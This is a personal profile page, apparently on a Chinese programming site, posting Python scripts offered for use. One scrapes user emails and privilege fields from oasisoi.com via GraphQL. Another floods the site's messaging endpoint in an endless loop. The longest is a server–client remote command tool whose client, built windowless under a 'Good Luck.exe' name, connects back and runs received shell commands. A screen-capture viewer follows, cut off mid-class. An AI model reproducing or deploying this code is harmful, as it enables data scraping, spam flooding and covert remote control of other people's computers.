• 个人简介

    Hello,everyone!

    我又回来了,嘻嘻嘻

    一个小网站->GO

    AutoKuding简介->AutoKuding

    下面是一个小东西,不要使用python运行

    import urllib.request
    import urllib.parse
    import json
    from typing import Optional, Dict, Any, Union
    
    class SimpleHTTPClient:
        """
        基于urllib的简单HTTP客户端
        支持GET、POST等常见请求方法
        """
        
        def __init__(self, base_url: str = ""):
            """
            初始化HTTP客户端
            
            Args:
                base_url: 基础URL,可为空
            """
            self.base_url = base_url
            self.default_headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'application/json'
            }
        
        def request(
            self,
            method: str,
            endpoint: str,
            headers: Optional[Dict[str, str]] = None,
            data: Optional[Union[Dict[str, Any], str, bytes]] = None,
            params: Optional[Dict[str, Any]] = None,
            json_data: Optional[Dict[str, Any]] = None,
            timeout: int = 10
        ) -> Dict[str, Any]:
            """
            发送HTTP请求
            
            Args:
                method: 请求方法 (GET, POST, PUT, DELETE)
                endpoint: 请求端点(相对路径或完整URL)
                headers: 请求头,会与默认请求头合并
                data: 请求体数据(表单数据或原始数据)
                params: URL查询参数
                json_data: JSON格式的请求体数据
                timeout: 请求超时时间(秒)
                
            Returns:
                包含响应状态码、头部和内容的字典
            """
            # 构建完整URL
            if endpoint.startswith(('http://', 'https://')):
                url = endpoint
            else:
                url = f"{self.base_url.rstrip('/')}/{endpoint.lstrip('/')}"
            
            # 添加查询参数
            if params:
                query_string = urllib.parse.urlencode(params)
                url = f"{url}?{query_string}" if '?' not in url else f"{url}&{query_string}"
            
            # 合并请求头
            merged_headers = self.default_headers.copy()
            if headers:
                merged_headers.update(headers)
            
            # 准备请求体
            request_data = None
            if json_data:
                request_data = json.dumps(json_data).encode('utf-8')
                merged_headers['Content-Type'] = 'application/json'
            elif data:
                if isinstance(data, dict):
                    request_data = urllib.parse.urlencode(data).encode('utf-8')
                    merged_headers['Content-Type'] = 'application/x-www-form-urlencoded'
                elif isinstance(data, str):
                    request_data = data.encode('utf-8')
                elif isinstance(data, bytes):
                    request_data = data
            
            # 创建请求对象
            req = urllib.request.Request(
                url=url,
                data=request_data,
                headers=merged_headers,
                method=method.upper()
            )
            
            try:
                # 发送请求
                with urllib.request.urlopen(req, timeout=timeout) as response:
                    response_data = response.read()
                    response_headers = dict(response.headers)
                    
                    # 尝试解码响应内容
                    try:
                        content = response_data.decode('utf-8')
                        # 尝试解析JSON
                        try:
                            content = json.loads(content)
                        except json.JSONDecodeError:
                            pass  # 保持为字符串
                    except UnicodeDecodeError:
                        content = response_data  # 返回字节数据
                    
                    return {
                        'status_code': response.status,
                        'headers': response_headers,
                        'content': content,
                        'url': response.url
                    }
                    
            except urllib.error.HTTPError as e:
                # 处理HTTP错误
                error_content = e.read()
                try:
                    error_content = error_content.decode('utf-8')
                except UnicodeDecodeError:
                    pass
                
                return {
                    'status_code': e.code,
                    'headers': dict(e.headers),
                    'content': error_content,
                    'url': e.url,
                    'error': str(e)
                }
            except Exception as e:
                return {
                    'status_code': 0,
                    'content': None,
                    'error': str(e)
                }
        
        # 常用请求方法的快捷方式
        def get(self, endpoint: str, **kwargs) -> Dict[str, Any]:
            """发送GET请求"""
            return self.request('GET', endpoint, **kwargs)
        
        def post(self, endpoint: str, **kwargs) -> Dict[str, Any]:
            """发送POST请求"""
            return self.request('POST', endpoint, **kwargs)
        
        def put(self, endpoint: str, **kwargs) -> Dict[str, Any]:
            """发送PUT请求"""
            return self.request('PUT', endpoint, **kwargs)
        
        def delete(self, endpoint: str, **kwargs) -> Dict[str, Any]:
            """发送DELETE请求"""
            return self.request('DELETE', endpoint, **kwargs)
        
        def set_default_header(self, key: str, value: str):
            """设置默认请求头"""
            self.default_headers[key] = value
        
        def remove_default_header(self, key: str):
            """移除默认请求头"""
            if key in self.default_headers:
                del self.default_headers[key]
        
        def clear_default_headers(self):
            """清空所有默认请求头"""
        
    if __name__ == "__main__":
        # 创建HTTP客户端实例
        base_url = "http://www.oasisoi.com"
        client = SimpleHTTPClient(base_url=base_url)
        print("\nPOST请求", base_url)
        
        # POST请求(JSON数据)
        response = client.post(
            endpoint="/api",
            json_data={
                "query": """
    
    query Example(
      $ids:[Int]
    ) {
      users(ids: $ids) {
        _id
        mail
        role
        priv
        uname
        regat
        rpInfo
        loginat
        avatarUrl
        __typename
        displayName
      }
    }
    
    """,
                "variables": {"ids": [i for i in range(1,120)]}
            }
        )
        
        print(f"状态码: {response.get('status_code')}")
        # print(f"响应内容: {response.get('content')}")
        
        # 修复:正确处理响应内容
        content = response.get('content')
        
        # 检查content类型
        if isinstance(content, dict):
            # 如果已经是字典,直接格式化输出
            print("解析后:", json.dumps(content, indent=2, ensure_ascii=False))
        elif isinstance(content, str):
            # 如果是字符串,尝试解析
            try:
                parsed_content = json.loads(content)
                print("JSON:\n", json.dumps(parsed_content, indent=2, ensure_ascii=False))
            except json.JSONDecodeError:
                print("内容不是有效的JSON格式")
                print(f"原始内容: {content}")
        else:
            print(f"内容类型: {type(content)}")
            if content:
                print(f"内容: {content}")
    
    

    Next:

    import requests
    import json
    
    url = "http://www.oasisoi.com/home/messages"
    inp=("test "*5000)
    ids=[80,82]
    n=2
    
    def send(id):
        data = {
            "content": str(inp),
            "operation": "send",
            "uid":str(id)
        }
        json_data = json.dumps(data)
        headers = {
            "Host": "www.oasisoi.com",
            "Content-Length": "{len(json_data.encode('utf-8'))}",
            "Content-Type": "application/json",
            "Accept": "application/json",
            "Origin": "http://www.oasisoi.com",
            "X-Requested-With": "XMLHttpRequest",
            "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "zh-CN,zh;q=0.9",
            "Referer": "http://www.oasisoi.com/home/messages",
            "Cookie": "略。。。"
        }
    
        try:
            response = requests.post(url, headers=headers, data=json_data)
            
            print(f"状态码: {response.status_code}")
            print(f"响应头: {response.headers}")
            print(f"响应内容: {response.text}")
            #print("解析后:", json.dumps(response.text, indent=2, ensure_ascii=False))
        
        except requests.exceptions.RequestException as e:
            print(f"请求失败: {e}")
    
    #print(inp)
    while(True):
        for i in range(n):
            send(ids[i])
    

    Next: Server:

    import socket
    import time
    import threading
    import subprocess
    import re
    
    # 全局变量存储所有客户端连接
    clients = {}
    clients_lock = threading.Lock()
    
    def send_message_with_length(sock, message: str):
        message_bytes = message.encode('utf-8')
        header = f"{len(message_bytes):<8d}".encode('utf-8')
        sock.sendall(header + message_bytes)
    
    def recv_message_with_length(sock):
        try:
            header = sock.recv(8)
            if not header:
                return None
            
            msg_len = int(header.decode('utf-8'))
            message_bytes = b''
            while len(message_bytes) < msg_len:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                message_bytes += chunk
                
            if len(message_bytes) != msg_len:
                return None
    
            return message_bytes.decode('utf-8')
        except:
            return None
    
    def execute_command(command):
        try:
            result = subprocess.run(
                command, 
                shell=True, 
                capture_output=True, 
                text=True, 
                encoding='gbk',
                errors='replace',
                timeout=30
            )
            if result.returncode == 0:
                return result.stdout if result.stdout else "[命令执行成功,无输出]"
            else:
                return f"命令执行失败,错误信息:\n{result.stderr}"
        except subprocess.TimeoutExpired:
            return "命令执行超时"
        except Exception as e:
            return f"执行命令时发生异常: {str(e)}"
    
    def handle_client(conn, addr, client_id):
        print(f"开始处理客户端 {client_id}")
        
        # 将客户端添加到全局字典
        with clients_lock:
            clients[client_id] = conn
        
        try:
            with conn:
                while True:
                    command = recv_message_with_length(conn)
                    
                    if command is None:
                        print(f"客户端 {client_id} 已断开连接")
                        break
                        
                    if command.lower() == 'exit':
                        print(f"客户端 {client_id} 收到退出指令")
                        break
                    
                    if not command:
                        continue
                    
                    print(f"客户端 {client_id} 收到命令: {command}")
                    result = execute_command(command)
                    send_message_with_length(conn, result)
                    
        except (ConnectionResetError, BrokenPipeError, ConnectionError) as e:
            print(f"与客户端 {client_id} 的连接异常断开: {e}")
        except Exception as e:
            print(f"处理客户端 {client_id} 请求时发生错误: {e}")
        finally:
            # 从全局字典中移除客户端
            with clients_lock:
                if client_id in clients:
                    del clients[client_id]
            print(f"客户端 {client_id} 处理完毕")
    
    def parse_client_selection(selection_str):
        """
        解析客户端选择字符串
        支持格式: choose 1, chs 1, chs 1,2,3, chs all
        返回: 选中的客户端ID列表
        """
        if not selection_str:
            return []
        
        # 转换为小写并去除空格
        selection_str = selection_str.lower().replace(" ", "")
        
        # 处理 "all" 或 "*"
        if "all" in selection_str or "*" in selection_str:
            with clients_lock:
                return list(clients.keys())
        
        # 提取数字部分
        numbers = re.findall(r'\d+', selection_str)
        if not numbers:
            return []
        
        # 构建客户端ID列表
        selected_clients = []
        for num in numbers:
            client_id = f"Client-{num}"
            with clients_lock:
                if client_id in clients:
                    selected_clients.append(client_id)
                else:
                    print(f"警告: 客户端 {client_id} 不存在或已断开连接")
        
        return selected_clients
    
    def send_command_to_clients(client_ids, command):
        """
        向指定客户端发送命令
        """
        if not client_ids:
            print("没有可用的客户端")
            return
        
        results = {}
        threads = []
        
        def send_to_client(client_id, conn, cmd):
            try:
                send_message_with_length(conn, cmd)
                result = recv_message_with_length(conn)
                results[client_id] = result
            except Exception as e:
                results[client_id] = f"发送命令失败: {e}"
        
        # 为每个选中的客户端创建线程发送命令
        for client_id in client_ids:
            with clients_lock:
                if client_id in clients:
                    thread = threading.Thread(
                        target=send_to_client,
                        args=(client_id, clients[client_id], command)
                    )
                    threads.append(thread)
                    thread.start()
        
        # 等待所有线程完成
        for thread in threads:
            thread.join()
        
        # 显示结果
        print("\n" + "="*60)
        print("命令执行结果汇总:")
        print("="*60)
        for client_id, result in results.items():
            print(f"\n客户端 {client_id} 结果:")
            print("-"*40)
            print(result if result else "[无响应]")
            print("-"*40)
    
    def show_connected_clients():
        """显示当前连接的客户端"""
        with clients_lock:
            if not clients:
                print("当前没有连接的客户端")
                return
            
            print("\n当前连接的客户端:")
            print("-"*40)
            for i, client_id in enumerate(clients.keys(), 1):
                print(f"{i}. {client_id}")
            print("-"*40)
    
    def server_control_interface():
        """服务器控制界面"""
        print("\n" + "="*60)
        print("服务器控制台")
        print("="*60)
        print("可用命令:")
        print("  list                    - 显示所有连接的客户端")
        print("  choose <num>            - 选择单个客户端 (如: choose 1)")
        print("  chs <num1,num2,...>     - 选择多个客户端 (如: chs 1,2,3)")
        print("  chs all                 - 选择所有客户端")
        print("  exit                    - 退出服务器")
        print("="*60)
        
        while True:
            try:
                # 显示当前连接状态
                with clients_lock:
                    client_count = len(clients)
                
                cmd = input(f"\n[{client_count}个客户端在线] 请输入命令: ").strip()
                
                if not cmd:
                    continue
                    
                if cmd.lower() == 'exit':
                    print("正在关闭服务器...")
                    break
                    
                elif cmd.lower() == 'list':
                    show_connected_clients()
                    
                elif cmd.lower().startswith('choose ') or cmd.lower().startswith('chs '):
                    # 解析客户端选择
                    selected_clients = parse_client_selection(cmd)
                    
                    if not selected_clients:
                        print("没有选中任何客户端")
                        continue
                    
                    print(f"\n已选中客户端: {', '.join(selected_clients)}")
                    
                    # 输入要发送的命令
                    command = input("请输入要发送的命令: ").strip()
                    if not command:
                        print("命令不能为空")
                        continue
                        
                    if command.lower() == 'exit':
                        print("正在向选中的客户端发送退出指令...")
                        send_command_to_clients(selected_clients, "exit")
                    else:
                        print(f"正在向 {len(selected_clients)} 个客户端发送命令: {command}")
                        send_command_to_clients(selected_clients, command)
                        
                else:
                    print("未知命令,请输入 'list', 'choose <num>', 'chs <num1,num2,...>', 'chs all' 或 'exit'")
                    
            except KeyboardInterrupt:
                print("\n收到中断信号")
                break
            except Exception as e:
                print(f"处理命令时发生错误: {e}")
    
    HOST = '192.168.1.114'
    PORT = 12345
    
    def start_server():
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
            server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            server_socket.bind((HOST, PORT))
            server_socket.listen(5)
            
            print("-" * 50)
            print(f"多线程服务器已启动,正在监听 {HOST}:{PORT}")
            print(f"当前时间: {time.strftime('%Y-%m-%d %H:%M:%S')}")
            print("-" * 50)
            
            client_counter = 0
            
            # 启动客户端连接接收线程
            def accept_clients():
                nonlocal client_counter
                try:
                    while True:
                        conn, addr = server_socket.accept()
                        client_counter += 1
                        client_id = f"Client-{client_counter}"
                        
                        print(f"\n接受来自 {addr[0]}:{addr[1]} 的新连接")
                        print(f"分配客户端ID: {client_id}")
                        
                        client_thread = threading.Thread(
                            target=handle_client,
                            args=(conn, addr, client_id),
                            name=client_id,
                            daemon=True
                        )
                        client_thread.start()
                        
                        print(f"当前活跃客户端线程数: {threading.active_count() - 1}")
                        
                except Exception as e:
                    print(f"接受客户端连接时发生错误: {e}")
            
            # 启动连接接收线程
            accept_thread = threading.Thread(target=accept_clients, daemon=True)
            accept_thread.start()
            
            try:
                # 启动服务器控制界面
                server_control_interface()
                
            except KeyboardInterrupt:
                print("\n收到中断信号,服务器正在关闭...")
                with clients_lock:
                    print(f"本次会话共处理 {client_counter} 个客户端连接")
                    print(f"当前在线客户端: {len(clients)} 个")
            finally:
                print("服务器关闭。")
    
    if __name__ == "__main__":
        start_server()
    
    

    Next:Client: pyinstaller -F -w client.py -p "./Good Luck.exe"

    # client.py
    import socket
    import subprocess
    import sys
    
    def send_message_with_length(sock, message: str):
        message_bytes = message.encode('utf-8')
        header = f"{len(message_bytes):<8d}".encode('utf-8')
        sock.sendall(header + message_bytes)
    
    def recv_message_with_length(sock):
        header = sock.recv(8)
        if not header:
            return None
        
        msg_len = int(header.decode('utf-8'))
        message_bytes = b''
        while len(message_bytes) < msg_len:
            chunk = sock.recv(4096)
            if not chunk:
                break
            message_bytes += chunk
            
        if len(message_bytes) != msg_len:
            raise ConnectionError("接收到的数据长度与头部声明的不符")
    
        return message_bytes.decode('utf-8')
    
    def execute_command(command):
        try:
            result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=30)
            if result.returncode == 0:
                return result.stdout
            else:
                return f"命令执行失败,错误信息:\n{result.stderr}"
        except subprocess.TimeoutExpired:
            return "命令执行超时"
        except Exception as e:
            return f"执行命令时发生异常: {str(e)}"
    
    def main():
        HOST = '192.168.1.114'
        PORT = 12345
        
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            try:
                s.connect((HOST, PORT))
                print(f"已连接到服务器 {HOST}:{PORT}")
                print("等待服务器命令...")
                
                while True:
                    command = recv_message_with_length(s)
                    
                    if command is None:
                        print("服务器已断开连接")
                        break
                        
                    if command.lower() == 'exit':
                        print("收到退出指令,断开连接")
                        break
                    
                    if not command:
                        continue
                    
                    print(f"收到命令: {command}")
                    result = execute_command(command)
                    send_message_with_length(s, result)
                    
            except ConnectionRefusedError:
                print(f"无法连接到服务器 {HOST}:{PORT}")
            except Exception as e:
                print(f"连接过程中发生错误: {e}")
    
    if __name__ == "__main__":
        main()
    
    

    Next:Screen Watcher(Watch):

    pip install -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple opencv-python pillow numpy

    import os
    os.system('pip install -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple opencv-python pillow numpy ')
    import socket
    import threading
    import cv2
    import numpy as np
    import tkinter as tk
    from tkinter import ttk, messagebox
    from PIL import Image, ImageTk
    import struct
    import time
    import json
    
    # 依赖检查(替换顶层pip install)
    REQUIRED_PACKAGES = ["opencv-python", "pillow", "numpy"]
    
    class ScreenShareClient:
        def __init__(self, server_ip='192.168.1.113', server_port=9999):
            self.server_ip = server_ip
            self.server_port = server_port
            self.client_socket = None
            self.running = False
            self.current_frame = None
            self.frame_lock = threading.Lock()
            self.connection_status = "disconnected"
            self.fps = 0
            self.frame_count = 0
            self.last_fps_time = time.time()
            
        def connect(self):
            """连接到投屏服务器"""
            try:
                self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.client_socket.settimeout(5)
                self.client_socket.connect((self.server_ip, self.server_port))
                
                # 接收欢迎消息
                try:
                    welcome_data = self.client_socket.recv(1024)
                    if welcome_data:
                        welcome_msg = json.loads(welcome_data.decode('utf-8'))
                        print(f"连接成功: {welcome_msg.get('message', '欢迎连接到投屏服务器')}")
                except:
                    pass  # 如果服务器没有发送欢迎消息,继续连接
                
                self.running = True
                self.connection_status = "connected"
                return True
                
            except socket.timeout:
                print("连接超时,请检查服务器地址和端口")
                return False
            except ConnectionRefusedError:
                print("连接被拒绝,请确保服务器正在运行")
                return False
            except Exception as e:
                print(f"连接失败: {e}")
                return False
        
        def receive_frames(self):
            """接收并处理屏幕帧数据"""
            buffer = b""
            payload_size = struct.calcsize("!I")
            
            while self.running:
                try:
                    # 接收帧头(帧大小)
                    while len(buffer) < payload_size:
                        packet = self.client_socket.recv(4096)
                        if not packet:
                            self.disconnect()
                            return
                        buffer += packet
                    
                    packed_msg_size = buffer[:payload_size]
                    buffer = buffer[payload_size:]
                    msg_size = struct.unpack("!I", packed_msg_size)[0]
                    
                    # 接收完整的帧数据
                    while len(buffer) < msg_size:
                        packet = self.client_socket.recv(4096)
                        if not packet:
                            self.disconnect()
                            return
                        buffer += packet
                    
                    frame_data = buffer[:msg_size]
                    buffer = buffer[msg_size:]
                    
                    # 解码JPEG图像
                    nparr = np.frombuffer(frame_data, np.uint8)
                    frame = cv2.imdecode(nparr, cv2.IMREAD_COLOR)
                    
                    if frame is not None:
                        with self.frame_lock:
                            self.current_frame = frame
                        
                        # 计算FPS
                        self.frame_count += 1
                        current_time = time.time()
                        if current_time - self.last_fps_time >= 1.0:
                            self.fps = self.frame_count
                            self.frame_count = 0
                            self.last_fps_time = current_time
                    
                except socket.timeout:
                    continue
                except ConnectionResetError:
                    print("连接被重置")
                    self.disconnect()
                    break
                except Exception as e:
                    if self.running:
                        print(f"接收数据错误: {e}")
                    break
            
            self.disconnect()
        
        def get_frame(self):
            """获取当前帧"""
            with self.frame_lock:
                return self.current_frame.copy() if self.current_frame is not None else None
        
        def disconnect(self):
            """断开连接"""
            self.running = False
            self.connection_status = "disconnected"
            if self.client_socket:
                try:
                    self.client_socket.close()
                except:
                    pass
                self.client_socket = None
            print("已断开与服务器的连接")
    
    class ClientGUI:
        def __init__(self):
            self.client = None
            self.receive_thread = None
            self.display_thread = None
            
            # 创建主窗口
            self.root = tk.Tk()
            self.root.title("会议投屏客户端")
            self.root.geometry("1024x768")
            self.root.configure(bg="#f0f0f0")
            
            # 设置窗口图标(可选)
            try:
                self.root.iconbitmap(default='client_icon.ico')
            except:
                pass
            
            self.setup_ui()
            
        def setup_ui(self):
            """设置用户界面"""
            # 创建主框架
            main_frame = ttk.Frame(self.root, padding="10")
            main_frame.grid(row=0, column=0, sticky=(tk.W, tk.E, tk.N, tk.S))
            
            # 配置网格权重
            self.root.columnconfigure(0, weight=1)
            self.root.rowconfigure(0, weight=1)
            main_frame.columnconfigure(1, weight=1)
            
            # 标题
            title_label = ttk.Label(
                main_frame, 
                text="会议投屏客户端", 
                font=("微软雅黑", 16, "bold"),
                foreground="#2c3e50"
            )
            title_label.grid(row=0, column=0, columnspan=3, pady=(0, 20))
            
            # 连接设置区域
            settings_frame = ttk.LabelFrame(main_frame, text="连接设置", padding="10")
            settings_frame.grid(row=1, column=0, columnspan=3, sticky=(tk.W, tk.E), pady=(0, 10))
            settings_frame.columnconfigure(1, weight=1)
            
            # 服务器地址
            ttk.Label(settings_frame, text="服务器地址:").grid(row=0, column=0, sticky=tk.W, padx=(0, 5), pady=5)
            self.ip_entry = ttk.Entry(settings_frame, width=20)
            self.ip_entry.insert(0, "127.0.0.1")
            self.ip_entry.grid(row=0, column=1, sticky=(tk.W, tk.E), padx=5, pady=5)
            
            # 端口
            ttk.Label(settings_frame, text="端口:").grid(row=0, column=2, sticky=tk.W, padx=(10, 5), pady=5)
            self.port_entry = ttk.Entry(settings_frame, width=10)
            self.port_entry.insert(0, "9999")
            self.port_entry.grid(row=0, column=3, sticky=tk.W, padx=5, pady=5)
            
            # 控制按钮
            button_frame = ttk.Frame(main_frame)
            button_frame.grid(row=2, column=0, columnspan=3, pady=(0, 10))
            
            self.connect_button = ttk.Button(
                button_frame, 
                text="连接服务器", 
                command=self.connect_server,
                width=15
            )
            self.connect_button.pack(side=tk.LEFT, padx=5)
            
            self.disconnect_button = ttk.Button(
                button_frame, 
                text="断开连接", 
                command=self.disconnect_server,
                width=15,
                state=tk.DISABLED
            )
            self.disconnect_button.pack(side=tk.LEFT, padx=5)
            
            self.fullscreen_button = ttk.Button(
                button_frame,
                text="全屏显示",
                command=self.toggle_fullscreen,
                width=15
            )
            self.fullscreen_button.pack(side=tk.LEFT, padx=5)
            
            # 状态显示区域
            status_frame = ttk.Frame(main_frame)
            status_frame.grid(row=3, column=0, columnspan=3, pady=(0, 10))
            
            self.status_var = tk.StringVar(value="状态: 未连接")
            self.status_label = ttk.Label(
                status_frame, 
                textvariable=self.status_var,
                font=("微软雅黑", 10),
                foreground="#7f8c8d"
            )
            self.status_label.pack(side=tk.LEFT, padx=5)
            
            self.fps_var = tk.StringVar(value="FPS: 0")
            self.fps_label = ttk.Label(
                status_frame,
                textvariable=self.fps_var,
                font=("微软雅黑", 10),
                foreground="#27ae60"
            )
            self.fps_label.pack(side=tk.LEFT, padx=20)
            
            # 投屏显示区域
            display_frame = ttk.LabelFrame(main_frame, text="投屏显示", padding="5")
            display_frame.grid(row=4, column=0, columnspan=3, sticky=(tk.W, tk.E, tk.N, tk.S), pady=(0, 10))
            display_frame.columnconfigure(0, weight=1)
            display_frame.rowconfigure(0, weight=1)
            
            # 创建Canvas用于显示图像
            self.canvas = tk.Canvas(
                display_frame, 
                bg="#000000",
                highlightthickness=1,
                highlightbackground="#bdc3c7"
            )
            self.canvas.grid(row=0, column=0, sticky=(tk.W, tk.E, tk.N, tk.S))
            
            # 添加滚动条(如果需要)
            v_scrollbar = ttk.Scrollbar(display_frame, orient=tk.VERTICAL, command=self.canvas.yview)
            h_scrollbar = ttk.Scrollbar(display_frame, orient=tk.HORIZONTAL, command=self.canvas.xview)
            self.canvas.configure(yscrollcommand=v_scrollbar.set, xscrollcommand=h_scrollbar.set)
            v_scrollbar.grid(row=0, column=1, sticky=(tk.N, tk.S))
            h_scrollbar.grid(row=1, column=0, sticky=(tk.W, tk.E))
            
            # 创建内部框架用于放置图像
            self.inner_frame = ttk.Frame(self.canvas)
            self.canvas_window = self.canvas.create_window((0, 0), window=self.inner_frame, anchor=tk.CENTER)
            
            # 图像显示标签
            self.image_label = ttk.Label(self.inner_frame)
            self.image_label.pack()
            
            # 绑定Canvas大小变化事件
            self.canvas.bind("<Configure>", self.on_canvas_configure)
            self.inner_frame.bind("<Configure>", self.on_frame_configure)
            
            # 日志区域
            log_frame = ttk.LabelFrame(main_frame, text="连接日志", padding="10")
            log_frame.grid(row=5, column=0, columnspan=3, sticky=(tk.W, tk.E, tk.N, tk.S))
            log_frame.columnconfigure(0, weight=1)
            log_frame.rowconfigure(0, weight=1)
            
            # 日志文本框
            self.log_text = tk.Text(
                log_frame, 
                height=6, 
                width=80,
                wrap=tk.WORD,
                font=("Consolas", 9)
            )
            self.log_text.grid(row=0, column=0, sticky=(tk.W, tk.E, tk.N, tk.S))
            
            # 滚动条
            log_scrollbar = ttk.Scrollbar(log_frame, orient=tk.VERTICAL, command=self.log_text.yview)
            log_scrollbar.grid(row=0, column=1, sticky=(tk.N, tk.S))
            self.log_text.configure(yscrollcommand=log_scrollbar.set)
            
            # 配置主框架的行权重
            main_frame.rowconfigure(4, weight=1)
            main_frame.rowconfigure(5, weight=0)
            
            # 全屏状态
            self.fullscreen = False
            
            # 绑定快捷键(修复Esc键语法错误)
            self.root.bind("<F11>", lambda e: self.toggle_fullscreen())
            self.root.bind("<Escape>", self.escape_fullscreen)
            
        def escape_fullscreen(self, event):
            """Esc键退出全屏"""
            if self.fullscreen:
                self.toggle_fullscreen()
            
        def log_message(self, message):
            """记录日志消息"""
            timestamp = time.strftime("%H:%M:%S")
            self.log_text.insert(tk.END, f"[{timestamp}] {message}\n")
            self.log_text.see(tk.END)
            self.log_text.update()
            
        def connect_server(self):
            """连接服务器"""
            if self.client is not None and self.client.running:
                messagebox.showwarning("警告", "已经连接到服务器")
                return
                
            server_ip = self.ip_entry.get().strip()
            try:
                server_port = int(self.port_entry.get().strip())
            except ValueError:
                messagebox.showerror("错误", "端口号必须是数字")
                return
                
            # 创建客户端实例
            self.client = ScreenShareClient(server_ip, server_port)
            
            # 尝试连接
            self.log_message(f"正在连接服务器 {server_ip}:{server_port}...")
            self.status_var.set("状态: 连接中...")
            self.root.update()
            
            if self.client.connect():
                self.log_message("✓ 连接服务器成功")
                self.status_var.set("状态: 已连接")
                
                # 更新按钮状态
                self.connect_button.config(state=tk.DISABLED)
                self.disconnect_button.config(state=tk.NORMAL)
                self.ip_entry.config(state=tk.DISABLED)
                self.port_entry.config(state=tk.DISABLED)
                
                # 启动接收线程
                self.receive_thread = threading.Thread(target=self.client.receive_frames, daemon=True)
                self.receive_thread.start()
                
                # 启动显示更新
                self.update_display()
                
            else:
                self.log_message("✗ 连接服务器失败")
                self.status_var.set("状态: 连接失败")
                self.client = None
                
        def disconnect_server(self):
            """断开服务器连接"""
            if self.client:
                self.client.disconnect()
                self.client = None
                
                self.log_message("已断开与服务器的连接")
                self.status_var.set("状态: 未连接")
                self.fps_var.set("FPS: 0")
                
                # 更新按钮状态
                self.connect_button.config(state=tk.NORMAL)
                self.disconnect_button.config(state=tk.DISABLED)
                self.ip_entry.config(state=tk.NORMAL)
                self.port_entry.config(state=tk.NORMAL)
                
                # 清空显示
                self.image_label.config(image='')
                
        def update_display(self):
            """更新显示画面(优化缩放和帧率)"""
            if not (self.client and self.client.running):
                return
                
            frame = self.client.get_frame()
            
            if frame is not None:
                try:
                    # 转换为RGB格式
                    rgb_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
                    
                    # 获取Canvas当前尺寸
                    canvas_width = self.canvas.winfo_width()
                    canvas_height = self.canvas.winfo_height()
                    
                    if canvas_width > 10 and canvas_height > 10:
                        # 计算缩放比例(保持宽高比)
                        h, w = rgb_frame.shape[:2]
                        scale_w = canvas_width / w
                        scale_h = canvas_height / h
                        scale = min(scale_w, scale_h) * 0.95  # 留5%边距
                        
                        if scale > 0:
                            new_w, new_h = int(w * scale), int(h * scale)
                            rgb_frame = cv2.resize(rgb_frame, (new_w, new_h), interpolation=cv2.INTER_AREA)
                        
                        # 转换为PIL图像
                        pil_image = Image.fromarray(rgb_frame)
                        tk_image = ImageTk.PhotoImage(pil_image)
                        
                        # 更新显示
                        self.image_label.config(image=tk_image)
                        self.image_label.image = tk_image  # 保持引用
                        
                        # 更新Canvas滚动区域
                        self.canvas.configure(scrollregion=self.canvas.bbox("all"))
                        
                        # 更新FPS显示
                        self.fps_var.set(f"FPS: {self.client.fps}")
                
                except Exception as e:
                    self.log_message(f"更新显示错误: {e}")
            
            # 继续更新(匹配服务器帧率)
            self.root.after(int(1000/30), self.update_display)
            
        def toggle_fullscreen(self):
            """切换全屏模式"""
            self.fullscreen = not self.fullscreen
            self.root.attributes("-fullscreen", self.fullscreen)
            
            if self.fullscreen:
                self.fullscreen_button.config(text="退出全屏")
                self.log_message("进入全屏模式")
            else:
                self.fullscreen_button.config(text="全屏显示")
                self.log_message("退出全屏模式")
                
        def on_canvas_configure(self, event):
            """Canvas大小变化时的处理(居中显示)"""
            self.canvas.itemconfig(self.canvas_window, width=event.width, height=event.height)
            self.canvas.configure(scrollregion=self.canvas.bbox("all"))
            
        def on_frame_configure(self, event):
            """内部框架大小变化时的处理"""
            self.canvas.configure(scrollregion=self.canvas.bbox("all"))
            
        def on_closing(self):
            """关闭窗口时的处理(完善线程清理)"""
            if self.client:
                self.client.disconnect()
            # 等待接收线程结束(如果存在)
            if self.receive_thread and self.receive_thread.is_alive():
                self.receive_thread.join(timeout=1)
            self.root.destroy()
            
        def run(self):
            """运行客户端"""
            # 绑定关闭事件
            self.root.protocol("WM_DELETE_WINDOW", self.on_closing)
            
            # 启动主循环
            self.root.mainloop()
    
    def main():
        """主函数(增加依赖检查)"""
        print("📦 检查必要依赖...")
        missing_packages = []
        for pkg in REQUIRED_PACKAGES:
            try:
                __import__(pkg.replace("-", "_"))
            except ImportError:
                missing_packages.append(pkg)
        
        if missing_packages:
            print(f"⚠️ 缺少依赖包: {', '.join(missing_packages)}")
            print(f"📝 请运行以下命令安装: pip install {' '.join(missing_packages)}")
            input("按Enter键继续(安装完成后)...")
        
        # 创建并运行客户端
        client_app = ClientGUI()
        client_app.run()
    
    if __name__ == "__main__":
        main()
    
    

    Next:Screen Watcher(Server):

    import socket
    import threading
    import cv2
    import numpy as np
    import pyautogui
    import struct
    import time
    import json
    import queue
    import tkinter as tk
    from tkinter import ttk, messagebox
    from PIL import Image, ImageTk
    import mss
    import mss.tools
    import os
    
    # 移除顶层pip安装,改为提示用户手动安装(避免重复执行)
    REQUIRED_PACKAGES = ["opencv-python", "pillow", "numpy", "mss"]
    
    class ScreenShareServer:
        def __init__(self, host='0.0.0.0', port=9999, quality=85, fps=15):
            """
            初始化屏幕共享服务器
            
            参数:
                host: 服务器监听地址
                port: 服务器监听端口
                quality: JPEG压缩质量 (1-100)
                fps: 帧率限制
            """
            self.host = host
            self.port = port
            self.quality = quality
            self.target_fps = fps
            self.frame_interval = 1.0 / fps
            
            # 服务器状态
            self.running = False
            self.server_socket = None
            self.clients = []  # 存储连接的客户端
            self.clients_lock = threading.Lock()
            
            # 屏幕捕获(移除初始化的sct,改为在捕获线程内创建)
            self.frame_queue = queue.Queue(maxsize=5)  # 限制队列大小避免内存溢出
            
            # 统计信息
